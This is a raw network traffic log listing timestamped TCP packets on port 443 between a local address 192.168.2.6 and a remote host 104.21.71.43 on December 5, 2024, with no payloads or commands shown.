Dec 5, 2024 15:04:37.071708918 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.071727991 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.071810007 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:37.071816921 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.071902990 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:37.077457905 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.077474117 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.077655077 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:37.077661037 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.077716112 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:37.083194017 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.083210945 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.083261013 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:37.083267927 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.083280087 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:37.083307981 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:37.088660002 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.088680029 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.088748932 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:37.088756084 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.091859102 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:37.094396114 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.094412088 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.094476938 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:37.094482899 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.094561100 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:37.099534035 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.099550962 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.099623919 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:37.099631071 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.099700928 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:37.103812933 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.103863955 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.103884935 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:37.103890896 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.103913069 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:37.145579100 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:37.252931118 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.253015995 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:37.258199930 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.258217096 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.258313894 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:37.258326054 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.262304068 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.262362003 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.262396097 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:37.262403011 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.262420893 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:37.262443066 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:37.268507004 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.268523932 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.268601894 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:37.268609047 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.271862984 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:37.274034023 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.274048090 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.274118900 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:37.274125099 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.275856972 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:37.279402018 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.279417038 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.279486895 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:37.279493093 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.279853106 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:37.285087109 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.285105944 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.285181046 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:37.285186052 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.286489010 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:37.290584087 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.290599108 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.290664911 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:37.290671110 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.291856050 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:37.444453001 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.444479942 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.444576979 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:37.444592953 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.444781065 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:37.449793100 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.449812889 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.449908018 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:37.449920893 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.450341940 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:37.454803944 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.454821110 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.454968929 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:37.454992056 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.455041885 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:37.460666895 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.460683107 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.460782051 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:37.460788965 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.460835934 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:37.466443062 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.466464043 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.466526031 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:37.466531992 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.466593027 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:37.471664906 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.471681118 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.471741915 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:37.471755028 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.471824884 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:37.477552891 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.477567911 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.477636099 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:37.477642059 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.477710009 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:37.482848883 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.482866049 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.482937098 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:37.482943058 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.483017921 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:37.636758089 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.636780024 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.636949062 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:37.636959076 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.637137890 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:37.641271114 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.641290903 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.641367912 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:37.641375065 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.641432047 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:37.646994114 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.647013903 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.647078991 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:37.647090912 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.647881985 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:37.652776957 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.652826071 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.652885914 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:37.652899981 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.652915001 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:37.655853033 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:37.657846928 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.657865047 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.657929897 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:37.657937050 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.659857035 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:37.664055109 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.664068937 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.664151907 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:37.664180040 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.666665077 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:37.669074059 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.669090033 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.669163942 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:37.669169903 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.669255018 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:37.674892902 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.674910069 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.674989939 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:37.674995899 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.675046921 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:37.828737974 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.828777075 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.829067945 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:37.829096079 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.829145908 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:37.833350897 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.833380938 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.833465099 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:37.833471060 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.833513975 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:37.839327097 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.839356899 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.839464903 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:37.839473009 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.839512110 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:37.844968081 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.844986916 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.845073938 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:37.845079899 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.845119953 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:37.850076914 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.850094080 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.850194931 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:37.850200891 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.850240946 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:37.856164932 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.856184006 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.856267929 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:37.856273890 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.856319904 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:37.861213923 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.861232996 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.861310959 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:37.861316919 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.861356974 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:37.866982937 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.867003918 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.867101908 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:37.867106915 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:37.867151022 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:38.021023989 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.021048069 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.021214008 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:38.021239996 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.021284103 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:38.025506020 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.025530100 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.025587082 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:38.025607109 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.025651932 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:38.031291008 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.031306028 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.031371117 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:38.031378031 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.031419992 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:38.036966085 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.036981106 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.037039995 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:38.037046909 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.037092924 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:38.042792082 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.042808056 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.042891979 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:38.042898893 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.042937040 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:38.048217058 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.048234940 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.048301935 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:38.048307896 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.048350096 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:38.053289890 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.053307056 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.053363085 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:38.053369999 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.053404093 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:38.059099913 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.059114933 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.059195995 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:38.059217930 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.059262991 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:38.213141918 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.213166952 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.213334084 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:38.213357925 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.213399887 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:38.218691111 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.218707085 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.218820095 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:38.218838930 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.218885899 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:38.223299980 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.223320961 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.223395109 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:38.223401070 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.223443985 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:38.229038000 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.229053974 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.229125977 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:38.229131937 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.229172945 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:38.234821081 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.234838009 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.234939098 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:38.234945059 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.234987020 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:38.240268946 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.240288973 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.240370989 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:38.240376949 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.240415096 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:38.245942116 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.245959044 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.246042967 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:38.246048927 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.246088982 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:38.251076937 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.251095057 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.251166105 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:38.251173019 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.251213074 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:38.405303001 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.405332088 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.405486107 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:38.405520916 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.405566931 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:38.410317898 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.410335064 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.410497904 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:38.410505056 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.410547018 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:38.415359020 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.415374041 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.415499926 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:38.415525913 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.415569067 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:38.421215057 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.421250105 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.421421051 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:38.421442986 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.421493053 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:38.426912069 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.426928997 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.427016973 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:38.427026033 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.427067041 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:38.432569981 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.432596922 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.432683945 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:38.432689905 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.432744980 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:38.438218117 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.438237906 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.438323021 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:38.438328981 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.438379049 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:38.443917036 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.443939924 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.444013119 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:38.444031954 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.444077969 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:38.597750902 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.597778082 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.597942114 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:38.597965956 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.598006010 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:38.602945089 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.602960110 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.603048086 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:38.603066921 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.603108883 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:38.608673096 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.608688116 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.608767033 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:38.608783960 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.608824015 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:38.613761902 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.613778114 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.613850117 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:38.613867044 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.613902092 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:38.619530916 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.619555950 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.619617939 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:38.619633913 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.619674921 CET	49906	443	192.168.2.6	104.21.71.43
